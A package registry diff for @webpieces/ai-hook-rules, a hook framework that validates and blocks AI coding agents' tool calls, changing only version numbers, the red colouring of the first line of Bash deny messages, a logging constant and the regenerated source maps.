@webpieces/ai-hook-rules 0.4.630 → 0.4.632

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@webpieces/ai-hook-rules",
3
- "version": "0.4.630",
3
+ "version": "0.4.632",
4
4
  "description": "Pluggable write-time validation framework for AI coding agents (@webpieces/ai-hook-rules). Claude Code PreToolUse + openclaw before_tool_call adapters share one rule engine.",
5
5
  "type": "commonjs",
6
6
  "main": "./src/index.js",
@@ -25,7 +25,7 @@
25
25
  "directory": "packages/tooling/ai-hook-rules"
26
26
  },
27
27
  "dependencies": {
28
- "@webpieces/rules-config": "0.4.630"
28
+ "@webpieces/rules-config": "0.4.632"
29
29
  },
30
30
  "publishConfig": {
31
31
  "access": "public"
@@ -35,8 +35,23 @@ const l0_fault_codes_1 = require("../core/l0-fault-codes");
35
35
  // ANSI escape (0x1b) built at runtime so no raw ESC byte sits in source. ANSI red is a *bonus* — the
36
36
  // 🛑 prefix + reason stay meaningful if a future/CI renderer strips the color. One place = one escape.
37
37
  const ESC = String.fromCharCode(0x1b);
38
+ /**
39
+ * ONLY THE HEADLINE IS RED. The body is left plain, and that is a legibility decision, not an oversight.
40
+ *
41
+ * Every deny that reaches here is MULTI-LINE — formatReport()'s `[rule] (N violations)` / `→ why` /
42
+ * `Fix Option N:` skeleton for L1 and L2, and now the same skeleton for L0. A whole page rendered in
43
+ * bold red is harder to read than the paragraph it replaced: the indentation that carries the structure
44
+ * stops registering when every line shouts. Red the first line so the block is unmissable in a scroll of
45
+ * terminal output, then let the structure do the rest of the work.
46
+ *
47
+ * The reset (`[0m`) still closes the sequence on the same line it opened, so nothing leaks into the
48
+ * body or into whatever the terminal prints next.
49
+ */
38
50
  function redSystemMessage(reason) {
39
- return `${ESC}[31;1m🛑 ${reason}${ESC}[0m`;
51
+ const nl = reason.indexOf('\n');
52
+ if (nl < 0)
53
+ return `${ESC}[31;1m🛑 ${reason}${ESC}[0m`;
54
+ return `${ESC}[31;1m🛑 ${reason.slice(0, nl)}${ESC}[0m${reason.slice(nl)}`;
40
55
  }
41
56
  function denyJson(reason, toolName) {
42
57
  const hookSpecificOutput = {
@@ -1 +1 @@
1
- {"version":3,"file":"claude-code-response.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/adapters/claude-code-response.ts"],"names":[],"mappings":";AAAA,+FAA+F;AAC/F,sFAAsF;AACtF,yGAAyG;AACzG,EAAE;AACF,gGAAgG;AAChG,kGAAkG;AAClG,uGAAuG;AACvG,oDAAoD;AACpD,EAAE;AACF,oGAAoG;AACpG,oDAAoD;AACpD,EAAE;AACF,8GAA8G;AAC9G,8GAA8G;AAC9G,8GAA8G;AAC9G,8GAA8G;AAC9G,8GAA8G;AAC9G,EAAE;AACF,mGAAmG;AACnG,qFAAqF;AACrF,qGAAqG;AACrG,mGAAmG;AACnG,mGAAmG;AACnG,oGAAoG;AACpG,8FAA8F;AAC9F,yCAAyC;AACzC,6FAA6F;;AAY7F,4BAYC;AAeD,4BASC;AAGD,8BAIC;AArDD,uDAAqD;AACrD,2DAAuD;AAEvD,qGAAqG;AACrG,uGAAuG;AACvG,MAAM,GAAG,GAAG,MAAM,CAAC,YAAY,CAAC,IAAI,CAAC,CAAC;AACtC,SAAS,gBAAgB,CAAC,MAAc;IACpC,OAAO,GAAG,GAAG,YAAY,MAAM,GAAG,GAAG,KAAK,CAAC;AAC/C,CAAC;AAED,SAAgB,QAAQ,CAAC,MAAc,EAAE,QAAgB;IACrD,MAAM,kBAAkB,GAAG;QACvB,aAAa,EAAE,YAAY;QAC3B,kBAAkB,EAAE,MAAM;QAC1B,wBAAwB,EAAE,MAAM;KACnC,CAAC;IACF,yFAAyF;IACzF,IAAI,QAAQ,KAAK,MAAM,EAAE,CAAC;QACtB,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,aAAa,EAAE,gBAAgB,CAAC,MAAM,CAAC,EAAE,kBAAkB,EAAE,CAAC,CAAC;IAC3F,CAAC;IACD,2FAA2F;IAC3F,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,kBAAkB,EAAE,CAAC,CAAC;AAClD,CAAC;AAED,oGAAoG;AACpG,kGAAkG;AAClG,oGAAoG;AACpG,oGAAoG;AACpG,EAAE;AACF,+FAA+F;AAC/F,gGAAgG;AAChG,4FAA4F;AAC5F,EAAE;AACF,oGAAoG;AACpG,yGAAyG;AACzG,uFAAuF;AACvF,2NAA2N;AAC3N,SAAgB,QAAQ,CAAC,MAAc,EAAE,QAAgB,EAAE,OAAe,GAAG,EAAE,QAAgB,8BAAa;IACxG,gGAAgG;IAChG,iGAAiG;IACjG,+FAA+F;IAC/F,wDAAwD;IACxD,4BAAa,CAAC,MAAM,CAAC,eAAe,EAAE,IAAI,EAAE,KAAK,CAAC,CAAC;IACnD,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,QAAQ,CAAC,MAAM,EAAE,QAAQ,CAAC,GAAG,IAAI,CAAC,CAAC;IACxD,wKAAwK;IACxK,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AACpB,CAAC;AAED,+FAA+F;AAC/F,SAAgB,SAAS;IACrB,4BAAa,CAAC,MAAM,CAAC,OAAO,EAAE,GAAG,CAAC,CAAC;IACnC,mKAAmK;IACnK,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AACpB,CAAC","sourcesContent":["// The single place that knows Claude Code's PreToolUse decision protocol, so every deny in the\n// Claude Code adapter is emitted identically — and identically to the checked-in shim\n// (.claude/webpieces/ai-hook.sh, rendered by renderShim() in ../bin/shim.ts), which emits the same JSON.\n//\n// A block is signalled by `permissionDecision: \"deny\"` JSON on STDOUT with exit 0 — NOT exit 2.\n// Claude Code only parses the JSON on exit 0; exit 2 would ignore stdout and the reason would not\n// surface in the terminal UI. \"deny\" still blocks the tool, so this remains fail-closed: it is not the\n// silent-allow a bare exit 0 with no JSON would be.\n//\n// WHY the tool-conditional `systemMessage` (verified by live tests against Claude Code v2.1.x — the\n// docs are wrong here; do NOT re-derive from them):\n//\n// | deny field | Bash tool | Write/Edit/MultiEdit tool |\n// |-----------------------------------|-----------------------------------|-------------------------------|\n// | permissionDecisionReason (plain) | model sees it; USER SEES NOTHING | model + RED \"Error:\" block ok |\n// | systemMessage | ONLY user-visible field; grey | grey extra line (redundant) |\n// | systemMessage wrapped in ANSI red | RED + visible to the user (fix) | redundant 2nd red line |\n//\n// So: on a **Bash** deny we ALSO emit a top-level `systemMessage` wrapped in ANSI red (ESC[31;1m …\n// ESC[0m) — it is the only field a Bash deny shows the human, and it honors ANSI. On\n// Write/Edit/MultiEdit we add NO `systemMessage` (the reason already renders red natively — a second\n// line is just noise). `permissionDecisionReason` is always plain text (never ANSI): it's what the\n// model reads and what Write/Edit renders red. JSON.stringify serializes the ESC char as the valid\n// \\u escape, so the payload stays valid JSON — we build the ESC via String.fromCharCode(0x1b) so no\n// raw ESC (0x1b) byte ever lives in this source file. Do NOT use exit 2 (stdout JSON ignored;\n// stderr invisible to the user on Bash).\n// Refs: Claude Code GitHub issues #31592, #40380, #17356 (asymmetry \"closed / not planned\").\n\nimport { invocationLog } from '../core/decision-log';\nimport { L0_FAULT_NONE } from '../core/l0-fault-codes';\n\n// ANSI escape (0x1b) built at runtime so no raw ESC byte sits in source. ANSI red is a *bonus* — the\n// 🛑 prefix + reason stay meaningful if a future/CI renderer strips the color. One place = one escape.\nconst ESC = String.fromCharCode(0x1b);\nfunction redSystemMessage(reason: string): string {\n return `${ESC}[31;1m🛑 ${reason}${ESC}[0m`;\n}\n\nexport function denyJson(reason: string, toolName: string): string {\n const hookSpecificOutput = {\n hookEventName: 'PreToolUse',\n permissionDecision: 'deny',\n permissionDecisionReason: reason,\n };\n // Bash only: permissionDecisionReason is NOT user-visible, so add the red systemMessage.\n if (toolName === 'Bash') {\n return JSON.stringify({ systemMessage: redSystemMessage(reason), hookSpecificOutput });\n }\n // Write/Edit/MultiEdit (and anything else): reason renders red natively; no systemMessage.\n return JSON.stringify({ hookSpecificOutput });\n}\n\n// Block the tool call and surface `reason` to both the user (terminal UI) and the model. `toolName`\n// selects whether the red `systemMessage` is added (Bash) or omitted (file tools) — see denyJson.\n// emitDeny/emitAllow are the hook's designated terminal boundary — the exit code IS the Claude Code\n// PreToolUse protocol (exit 0 + JSON = the contract), so the process.exit stays and is allowlisted.\n//\n// Being the ONE boundary every path exits through is also why the per-invocation audit line is\n// flushed HERE: the `calls/` stream carries the outcome of its own call, and the outcome is not\n// known until this point. `rule` names what blocked (or '-'), for the line's `rule=` field.\n//\n// `fault` is the L0 fault code when the block IS an L0 fault (S/C/Y — the three decided here in JS,\n// where the sh shim's own `fault=` stamp can never reach), else '-'. Stamping it at this ONE boundary is\n// what makes `grep 'fault=S'` span the whole audit trail rather than only its sh half.\n// webpieces-disable no-function-outside-class -- the Claude Code PreToolUse protocol boundary; module-scope beside denyJson/emitAllow by design, and it must stay callable from a tree too broken to build a DI container.\nexport function emitDeny(reason: string, toolName: string, rule: string = '-', fault: string = L0_FAULT_NONE): never {\n // BLOCK_AI_CURE: every deny that reaches this boundary prints a cure the agent can act on — the\n // L0 faults name a command on the allowlist, and the L1/L2 guards print theirs. A deny needing a\n // HUMAN would have to say so at its own site; none does today, and inventing one here would be\n // guessing at the boundary rather than at the decision.\n invocationLog.finish('BLOCK_AI_CURE', rule, fault);\n process.stdout.write(denyJson(reason, toolName) + '\\n');\n // webpieces-disable no-process-exit-outside-main -- hook exit-code IS the Claude Code PreToolUse protocol (exit 0 + JSON = the contract); designated terminal boundary.\n process.exit(0);\n}\n\n// Allow the tool call. No JSON needed — a silent exit 0 is \"allow\" in the PreToolUse protocol.\nexport function emitAllow(): never {\n invocationLog.finish('ALLOW', '-');\n // webpieces-disable no-process-exit-outside-main -- hook exit-code IS the Claude Code PreToolUse protocol (silent exit 0 = \"allow\"); designated terminal boundary.\n process.exit(0);\n}\n"]}
1
+ {"version":3,"file":"claude-code-response.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/adapters/claude-code-response.ts"],"names":[],"mappings":";AAAA,+FAA+F;AAC/F,sFAAsF;AACtF,yGAAyG;AACzG,EAAE;AACF,gGAAgG;AAChG,kGAAkG;AAClG,uGAAuG;AACvG,oDAAoD;AACpD,EAAE;AACF,oGAAoG;AACpG,oDAAoD;AACpD,EAAE;AACF,8GAA8G;AAC9G,8GAA8G;AAC9G,8GAA8G;AAC9G,8GAA8G;AAC9G,8GAA8G;AAC9G,EAAE;AACF,mGAAmG;AACnG,qFAAqF;AACrF,qGAAqG;AACrG,mGAAmG;AACnG,mGAAmG;AACnG,oGAAoG;AACpG,8FAA8F;AAC9F,yCAAyC;AACzC,6FAA6F;;AA2B7F,4BAYC;AAeD,4BASC;AAGD,8BAIC;AApED,uDAAqD;AACrD,2DAAuD;AAEvD,qGAAqG;AACrG,uGAAuG;AACvG,MAAM,GAAG,GAAG,MAAM,CAAC,YAAY,CAAC,IAAI,CAAC,CAAC;AAEtC;;;;;;;;;;;GAWG;AACH,SAAS,gBAAgB,CAAC,MAAc;IACpC,MAAM,EAAE,GAAG,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;IAChC,IAAI,EAAE,GAAG,CAAC;QAAE,OAAO,GAAG,GAAG,YAAY,MAAM,GAAG,GAAG,KAAK,CAAC;IACvD,OAAO,GAAG,GAAG,YAAY,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,GAAG,GAAG,MAAM,MAAM,CAAC,KAAK,CAAC,EAAE,CAAC,EAAE,CAAC;AAC/E,CAAC;AAED,SAAgB,QAAQ,CAAC,MAAc,EAAE,QAAgB;IACrD,MAAM,kBAAkB,GAAG;QACvB,aAAa,EAAE,YAAY;QAC3B,kBAAkB,EAAE,MAAM;QAC1B,wBAAwB,EAAE,MAAM;KACnC,CAAC;IACF,yFAAyF;IACzF,IAAI,QAAQ,KAAK,MAAM,EAAE,CAAC;QACtB,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,aAAa,EAAE,gBAAgB,CAAC,MAAM,CAAC,EAAE,kBAAkB,EAAE,CAAC,CAAC;IAC3F,CAAC;IACD,2FAA2F;IAC3F,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,kBAAkB,EAAE,CAAC,CAAC;AAClD,CAAC;AAED,oGAAoG;AACpG,kGAAkG;AAClG,oGAAoG;AACpG,oGAAoG;AACpG,EAAE;AACF,+FAA+F;AAC/F,gGAAgG;AAChG,4FAA4F;AAC5F,EAAE;AACF,oGAAoG;AACpG,yGAAyG;AACzG,uFAAuF;AACvF,2NAA2N;AAC3N,SAAgB,QAAQ,CAAC,MAAc,EAAE,QAAgB,EAAE,OAAe,GAAG,EAAE,QAAgB,8BAAa;IACxG,gGAAgG;IAChG,iGAAiG;IACjG,+FAA+F;IAC/F,wDAAwD;IACxD,4BAAa,CAAC,MAAM,CAAC,eAAe,EAAE,IAAI,EAAE,KAAK,CAAC,CAAC;IACnD,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,QAAQ,CAAC,MAAM,EAAE,QAAQ,CAAC,GAAG,IAAI,CAAC,CAAC;IACxD,wKAAwK;IACxK,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AACpB,CAAC;AAED,+FAA+F;AAC/F,SAAgB,SAAS;IACrB,4BAAa,CAAC,MAAM,CAAC,OAAO,EAAE,GAAG,CAAC,CAAC;IACnC,mKAAmK;IACnK,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AACpB,CAAC","sourcesContent":["// The single place that knows Claude Code's PreToolUse decision protocol, so every deny in the\n// Claude Code adapter is emitted identically — and identically to the checked-in shim\n// (.claude/webpieces/ai-hook.sh, rendered by renderShim() in ../bin/shim.ts), which emits the same JSON.\n//\n// A block is signalled by `permissionDecision: \"deny\"` JSON on STDOUT with exit 0 — NOT exit 2.\n// Claude Code only parses the JSON on exit 0; exit 2 would ignore stdout and the reason would not\n// surface in the terminal UI. \"deny\" still blocks the tool, so this remains fail-closed: it is not the\n// silent-allow a bare exit 0 with no JSON would be.\n//\n// WHY the tool-conditional `systemMessage` (verified by live tests against Claude Code v2.1.x — the\n// docs are wrong here; do NOT re-derive from them):\n//\n// | deny field | Bash tool | Write/Edit/MultiEdit tool |\n// |-----------------------------------|-----------------------------------|-------------------------------|\n// | permissionDecisionReason (plain) | model sees it; USER SEES NOTHING | model + RED \"Error:\" block ok |\n// | systemMessage | ONLY user-visible field; grey | grey extra line (redundant) |\n// | systemMessage wrapped in ANSI red | RED + visible to the user (fix) | redundant 2nd red line |\n//\n// So: on a **Bash** deny we ALSO emit a top-level `systemMessage` wrapped in ANSI red (ESC[31;1m …\n// ESC[0m) — it is the only field a Bash deny shows the human, and it honors ANSI. On\n// Write/Edit/MultiEdit we add NO `systemMessage` (the reason already renders red natively — a second\n// line is just noise). `permissionDecisionReason` is always plain text (never ANSI): it's what the\n// model reads and what Write/Edit renders red. JSON.stringify serializes the ESC char as the valid\n// \\u escape, so the payload stays valid JSON — we build the ESC via String.fromCharCode(0x1b) so no\n// raw ESC (0x1b) byte ever lives in this source file. Do NOT use exit 2 (stdout JSON ignored;\n// stderr invisible to the user on Bash).\n// Refs: Claude Code GitHub issues #31592, #40380, #17356 (asymmetry \"closed / not planned\").\n\nimport { invocationLog } from '../core/decision-log';\nimport { L0_FAULT_NONE } from '../core/l0-fault-codes';\n\n// ANSI escape (0x1b) built at runtime so no raw ESC byte sits in source. ANSI red is a *bonus* — the\n// 🛑 prefix + reason stay meaningful if a future/CI renderer strips the color. One place = one escape.\nconst ESC = String.fromCharCode(0x1b);\n\n/**\n * ONLY THE HEADLINE IS RED. The body is left plain, and that is a legibility decision, not an oversight.\n *\n * Every deny that reaches here is MULTI-LINE — formatReport()'s `[rule] (N violations)` / `→ why` /\n * `Fix Option N:` skeleton for L1 and L2, and now the same skeleton for L0. A whole page rendered in\n * bold red is harder to read than the paragraph it replaced: the indentation that carries the structure\n * stops registering when every line shouts. Red the first line so the block is unmissable in a scroll of\n * terminal output, then let the structure do the rest of the work.\n *\n * The reset (`[0m`) still closes the sequence on the same line it opened, so nothing leaks into the\n * body or into whatever the terminal prints next.\n */\nfunction redSystemMessage(reason: string): string {\n const nl = reason.indexOf('\\n');\n if (nl < 0) return `${ESC}[31;1m🛑 ${reason}${ESC}[0m`;\n return `${ESC}[31;1m🛑 ${reason.slice(0, nl)}${ESC}[0m${reason.slice(nl)}`;\n}\n\nexport function denyJson(reason: string, toolName: string): string {\n const hookSpecificOutput = {\n hookEventName: 'PreToolUse',\n permissionDecision: 'deny',\n permissionDecisionReason: reason,\n };\n // Bash only: permissionDecisionReason is NOT user-visible, so add the red systemMessage.\n if (toolName === 'Bash') {\n return JSON.stringify({ systemMessage: redSystemMessage(reason), hookSpecificOutput });\n }\n // Write/Edit/MultiEdit (and anything else): reason renders red natively; no systemMessage.\n return JSON.stringify({ hookSpecificOutput });\n}\n\n// Block the tool call and surface `reason` to both the user (terminal UI) and the model. `toolName`\n// selects whether the red `systemMessage` is added (Bash) or omitted (file tools) — see denyJson.\n// emitDeny/emitAllow are the hook's designated terminal boundary — the exit code IS the Claude Code\n// PreToolUse protocol (exit 0 + JSON = the contract), so the process.exit stays and is allowlisted.\n//\n// Being the ONE boundary every path exits through is also why the per-invocation audit line is\n// flushed HERE: the `calls/` stream carries the outcome of its own call, and the outcome is not\n// known until this point. `rule` names what blocked (or '-'), for the line's `rule=` field.\n//\n// `fault` is the L0 fault code when the block IS an L0 fault (S/C/Y — the three decided here in JS,\n// where the sh shim's own `fault=` stamp can never reach), else '-'. Stamping it at this ONE boundary is\n// what makes `grep 'fault=S'` span the whole audit trail rather than only its sh half.\n// webpieces-disable no-function-outside-class -- the Claude Code PreToolUse protocol boundary; module-scope beside denyJson/emitAllow by design, and it must stay callable from a tree too broken to build a DI container.\nexport function emitDeny(reason: string, toolName: string, rule: string = '-', fault: string = L0_FAULT_NONE): never {\n // BLOCK_AI_CURE: every deny that reaches this boundary prints a cure the agent can act on — the\n // L0 faults name a command on the allowlist, and the L1/L2 guards print theirs. A deny needing a\n // HUMAN would have to say so at its own site; none does today, and inventing one here would be\n // guessing at the boundary rather than at the decision.\n invocationLog.finish('BLOCK_AI_CURE', rule, fault);\n process.stdout.write(denyJson(reason, toolName) + '\\n');\n // webpieces-disable no-process-exit-outside-main -- hook exit-code IS the Claude Code PreToolUse protocol (exit 0 + JSON = the contract); designated terminal boundary.\n process.exit(0);\n}\n\n// Allow the tool call. No JSON needed — a silent exit 0 is \"allow\" in the PreToolUse protocol.\nexport function emitAllow(): never {\n invocationLog.finish('ALLOW', '-');\n // webpieces-disable no-process-exit-outside-main -- hook exit-code IS the Claude Code PreToolUse protocol (silent exit 0 = \"allow\"); designated terminal boundary.\n process.exit(0);\n}\n"]}
@@ -219,7 +219,7 @@ function enforceCommittedShim(payload, cwd, mode) {
219
219
  // `S` storm left NO trace at all: the one fault most likely to block twenty consecutive tool calls
220
220
  // was the one fault the trail could not show. A decision line is the fix that costs no reordering.
221
221
  const target = payload.tool_input.command ?? payload.tool_input.file_path ?? '';
222
- (0, decision_log_1.logGuardDecision)(root, new decision_log_1.GuardDecision('committed-shim-stale', payload.tool_name, target, (0, decision_log_1.branchForLog)(root), 'BLOCK_AI_CURE', 'L0 fault S (committed shim != renderShim)', '-', l0_fault_codes_1.L0_FAULT_SHIM_STALE, decision_log_1.MATRIX_L0));
222
+ (0, decision_log_1.logGuardDecision)(root, new decision_log_1.GuardDecision('committed-shim-stale', payload.tool_name, target, (0, decision_log_1.branchForLog)(root), 'BLOCK_AI_CURE', 'L0 fault S (committed shim != renderShim)', '-', l0_fault_codes_1.L0_FAULT_SHIM_STALE, decision_log_1.MATRIX_L0_BLOCK));
223
223
  // L0 fault S in GUARD_MATRIX.md's codebook — named as the blocking rule so the invocation line
224
224
  // says WHAT stopped the call, not merely that something did, and stamped as `fault=S` so the same
225
225
  // grep finds it here as in the sh half's `L0-shim/` stream.
@@ -1 +1 @@
1
- {"version":3,"file":"hook-core.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/adapters/hook-core.ts"],"names":[],"mappings":"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